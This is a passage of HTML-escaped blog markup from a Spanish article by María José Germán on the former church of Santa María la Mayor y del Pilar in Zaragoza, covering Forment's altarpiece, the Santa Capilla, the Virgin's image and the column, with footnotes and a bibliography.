coro.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;La decoración del interior de la iglesia es desconocido, pero se supone que estaría pintado como en otras iglesias aragonesas.&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;Sin duda alguna, la parte más importante era el presbiterio.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Estaba levantado por dos gradas y separado de la nave por una barandilla.
En el testero se erguía el retablo mayor de 12m. de anchura por 17m. de altura
(hoy situado en el Pilar actual).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9RsE0PIm7txZVG7vLmGomz6RFM6CtRnUy20TMISyey-4H_OwRQyHxqBHjYVWqg5ZJmbqVJ-gfP8_0bWI3tcQghXolj9zos5lkZow6xboSM25DQbF1SRzUVL4cZ9TT40K9y0Mi9OCgkr9f/s440/altar.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;440&quot; data-original-width=&quot;306&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9RsE0PIm7txZVG7vLmGomz6RFM6CtRnUy20TMISyey-4H_OwRQyHxqBHjYVWqg5ZJmbqVJ-gfP8_0bWI3tcQghXolj9zos5lkZow6xboSM25DQbF1SRzUVL4cZ9TT40K9y0Mi9OCgkr9f/s320/altar.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;En un principio este retablo había sido encargado a Miguel Gilbert, pero al
sorprenderle la muerte sin concluirlo le fue encargado a Damián Forment,
escultor valenciano, que colocó la primera piedra en 1511. El escultor, con la
colaboración de otros artistas, lo realizó en alabastro y utilizó la policromía
para resaltarlo. Se terminó en 1518.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;En el cuerpo del retablo hay tres escenas separadas por contrafuertes. La
central, más alta que el resto, representa la “Asunción de María” rodeada de
los apóstoles. Destaca la figura de Santiago que lleva entre sus manos el
báculo de peregrino.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;En la parte superior la escena representa al Padre con el Espíritu Santo en
actitud de recibir a la Virgen. En la parte central del retablo podemos ver el
sagrario en forma de óculo, característica de los retablos aragoneses, que al
colocarlo en alto y cerrado se evita su profanación. Se accedía a él a través de
unas puertas situadas detrás de las esculturas de la base.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;









&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Delante del retablo se sitúa el altar mayor y debajo de él el sepulcro de
San Braulio (h. 585-651), obispo de Zaragoza, que contiene sus reliquias. &amp;nbsp;Esta sepultura fue encontrada por el obispo
Pedro de Librana por mediación milagrosa de S. Valero a través de un sueño. Así
supo que los restos de S. Braulio estaban enterrados en la entrada de la iglesia
de Santa María la Mayor al poco tiempo de ser conquistada la ciudad por Alfonso
I el Batallador. Desde entonces se han instalado siempre bajo el altar mayor a
pesar de las sucesivas remodelaciones del templo. Este sepulcro se puede ver el
día 26 de marzo (festividad de s. Braulio)&amp;nbsp;
en el templo del Pilar y la arqueta del&amp;nbsp;
s. XII, donde aparecieron sus restos, se puede visitar en el Museo Alma
Mater, situado en la plaza de La Seo.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Una curiosidad en el retablo mayor es la que nos resalta la catedrática de
Historia del Arte de la Universidad de Zaragoza Carmen Morte en las páginas de &lt;i&gt;“El Pilar desconocido&lt;/i&gt;”&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red; font-size: 8pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;(3)&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;: el escultor no sólo
se ha detenido a interpretar las escenas religiosas, sino que las representa con
detalles &amp;nbsp;de la vida cotidiana. Así
podemos encontrar un gato que destapa una olla colocada al fuego, útiles de
cocina, herramientas para trabajar la madera, golondrinas anidando,
instrumentos musicales, etc, etc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Por último, también los retratos de Damian Forment y de su esposa aparecen en
sendos medallones situados a los lados del panel principal.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 120%;&quot;&gt;



&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 14pt; line-height: 115%; mso-ansi-language: ES;&quot;&gt;La Santa Capilla:
un templo dentro de otro.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;

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&lt;/w:wrap&gt;&lt;/v:imagedata&gt;&lt;/v:shape&gt;&lt;span lang=&quot;ES&quot;&gt;La “Santa Capilla” no
estuvo situada en el interior del templo hasta la construcción de la basílica
actual.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Se encontraba en el centro de un claustro construido a su alrededor, al
cual se accedía por una puerta situada en una de las capillas de la iglesia.
Los que la vieron dejaron escrito que era un espacio muy singular, pues se
encontraba semienterrado, sin luz natural, algo parecido a una cripta. Era
necesario descender unos escalones para llegar hasta ella. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Lasagabaster, a través de las fuentes, describe la “Santa Capilla” como un
rectángulo de 14m. de largo por 8m. de ancho. En el centro de la cual se encontraba
el edículo primero con la columna y la Virgen, separada por una verja, que
constituía el recinto supuestamente edificado por Santiago de 16 pies de largo
por 8 de ancho.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;En la pared norte del santuario se había colocado un retablo de alabastro,
bajo él se hallaba el altar. A este pequeño edículo sólo podían entrar los
sacerdotes y alguna persona importante, las mujeres, cualquiera que fuera su
condición, tenían prohibida la entrada.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;La imagen de la Virgen se encontraba encima de la columna, bajo un dosel de
plata. Frente a ella se situaba la sacristía donde se guardaban los mantos,
joyas, coronas, etc. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Este recinto tenía todo lo necesario en una iglesia: altar, sacristía,
coro, sillería, órgano, retablo, sargas pintadas…, la iluminación la efectuaban
infinidad de lamparillas ofrecidas por los fieles. Estas lamparillas ahumaban
tanto la bóveda como las paredes por lo que estaban teñidas de un color oscuro
que le confería mayor tenebrosidad.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;La columna de veneraba por la parte de atrás, como en la actualidad, pero
un poco más abajo que ahora, ya que debido al desgaste se decidió protegerlo y
abrir otro hueco un poco más arriba. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;span lang=&quot;ES&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;La reja que separaba el edículo de la Virgen (donde
originalmente estaba la pared construida por Santiago y que habían sustituido
por una reja para darle visibilidad) servía a los fieles para colgar sus&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit; text-align: justify;&quot;&gt;exvotos. De esta manera allí se ofrecían piernas, grilletes, cadenas, etc.
para rogar a la Virgen o para agradecer su intervención.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;border-left: solid #7BA0CD 1.5pt; border: medium none; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-element: para-border-div; padding: 0cm 0cm 0cm 31pt;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXoORfrWKB02qBATZv9Tc1MsEgdN59B-kp9AV7rIpk-sbfakaZ1RUjanJKS3qUS5r27C12pxNucsSZFrC5zW6HIyjanLGkRZqa699VQksgHC8yRNP4fQCroGr2HKnsXiLv-zxBcCkGQkMx/s800/exvotos.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;533&quot; data-original-width=&quot;800&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXoORfrWKB02qBATZv9Tc1MsEgdN59B-kp9AV7rIpk-sbfakaZ1RUjanJKS3qUS5r27C12pxNucsSZFrC5zW6HIyjanLGkRZqa699VQksgHC8yRNP4fQCroGr2HKnsXiLv-zxBcCkGQkMx/w400-h266/exvotos.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;p class=&quot;MsoNormal&quot;&gt;Exvotos expuestos en&amp;nbsp;
Castelo de Sobroso (2011), ejemplo de lo que habría en el santuario.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;La imagen de la Virgen&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Se trata de una escultura realizada en una sola pieza de madera. Lleva
vestido de cuello alto abotonado, de talle típico del s. XV y un ancho cinturón
con hebilla. El manto, sujeto por la corona, le cae hasta el suelo. El niño
lleva en la mano izquierda un pajarillo, que parece una paloma, con las alas
abiertas y con la mano derecha sujeta el manto de la Virgen.&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5tlTwnJx4hyphenhyphenbKnYs64kDND754uwn9A2Jxc9Apw8sy4ELhgpvlauxCjhvtcwga7JeJmCIwjxkq_L12GP6VAHt0m0IaueVRtBr-PJMLWH5gwlOUzeoUx4JXCFATZuZWEXHopHXT5C1a5WJu/s454/virgen.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;454&quot; data-original-width=&quot;182&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5tlTwnJx4hyphenhyphenbKnYs64kDND754uwn9A2Jxc9Apw8sy4ELhgpvlauxCjhvtcwga7JeJmCIwjxkq_L12GP6VAHt0m0IaueVRtBr-PJMLWH5gwlOUzeoUx4JXCFATZuZWEXHopHXT5C1a5WJu/w256-h640/virgen.jpg&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;Es una escultura gótica de la primera mitad del s. XV., atribuida por
Carmen Lacarra a Juan de la Huerta, de Daroca.&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span lang=&quot;ES&quot;&gt;La Columna&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;









&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;Es el fuste de una columna de forma cilíndrica, lisa, de jaspe rojizo. Mide
1,77 de altura y 0,24 de diámetro. Se cubrió para protegerlo con un forro de
bronce, al que posteriormente se le añadió otro de plata con adornos
(Lasagabaster: &lt;i&gt;La joya de Zaragoza&lt;/i&gt;).&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: right;&quot;&gt;María José Germán&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 19.2px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;color: red; font-size: 8pt; line-height: 12.2667px; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; text-indent: -24px;&quot;&gt;(1)&lt;span style=&quot;font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style=&quot;font-size: 8pt; line-height: 12.2667px; text-indent: -24px;&quot;&gt;Lasagabaster, D.:&amp;nbsp;&lt;i&gt;La joya de Zaragoza&lt;/i&gt;&amp;nbsp;p.24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 19.2px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 8pt; line-height: 12.2667px; text-indent: -24px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red; font-size: 8pt; line-height: 12.2667px;&quot;&gt;(2)&amp;nbsp;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 8pt; line-height: 12.2667px;&quot;&gt;D. Lasagabaster Arratiel: La joya de Zaragoza: el Pilar de Santa María. Zaragoza, 1988&lt;span style=&quot;color: red;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; margin-bottom: .0001pt; margin: 0cm; mso-border-left-alt: solid #7BA0CD 1.5pt; mso-border-left-themecolor: accent1; mso-border-left-themetint: 191; mso-padding-alt: 0cm 0cm 0cm 31.0pt; padding: 0cm; text-align: justify; text-justify: inter-ideograph;&quot;&gt;&lt;span color=&quot;windowtext&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 19.2px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 8pt; line-height: 12.2667px; text-indent: -24px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;color: red; font-size: 8pt; line-height: 12.2667px;&quot;&gt;(3)&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 8pt; line-height: 12.2667px;&quot;&gt;“El Pilar Desconido”&lt;/span&gt;&lt;/i&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 8pt; line-height: 12.2667px;&quot;&gt;, p. 90&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;BIBLIOGRAFÍA BÁSICA&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Heraldo de Aragón
(2006): &lt;i&gt;El Pilar Desconocido. &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Dirigido por G. Fatás
Cabeza.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Buesa, D. y
Lozano, J.C. (1995): &lt;i&gt;El Pilar es la
Columna. Historia de una devoción.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Ayuntamiento de
Zaragoza Área
de Servicios Públicos&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Lasagabaster Arratiel,
D. (1988): &lt;i&gt;La Joya de Zaragoza: El Pilar
de Santa María.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;C.A.I.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Beltrán Martínez,
A. (1976): &lt;i&gt;Historia de Zaragoza, &lt;/i&gt;T.I&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Auntamiento de
Zaragoza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Arce, J. (1979): &lt;i&gt;“Caesaraugusta, ciudad romana”&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Ed. Guara&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Corral, J.L.
(1989): &lt;i&gt;La cultura islámica en Aragón.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Dip. De Zaragoza&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Ansón Navarro, A.
(1998): &lt;i&gt;La Santa Capilla del Pilar&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;C.A.I.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Hycka Espinosa,
Olga (2018): &lt;i&gt;Santa María la Mayor y del
Pilar de Zaragoza: Evolución histórica del templo colegial&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Institución
Fernando el Católico&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Andrés Valero, S.
(1998): &lt;i&gt;Historia de Zaragoza. Zaragoza
cristiana (1118-1336).&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Editorial:
Ayuntamiento de Zaragoza coedición con CAI&lt;i&gt; &lt;/i&gt;Vol. VI &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Falcón Pérez, Mª
Isabel (1998):
&lt;i&gt;Historia de Zaragoza. Zaragoza en la Baja
Edad Media (S. XIV-XV).&lt;/i&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Editorial:
Ayuntamiento de Zaragoza coedición con CAI Vol. VII&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Falcón Pérez, I.
(1981):
&lt;i&gt;Zaragoza en el siglo XV. Morfología
urbana, huertas y término municipal&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;line-height: normal; margin-right: -134.7pt;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;Ayuntamiento de
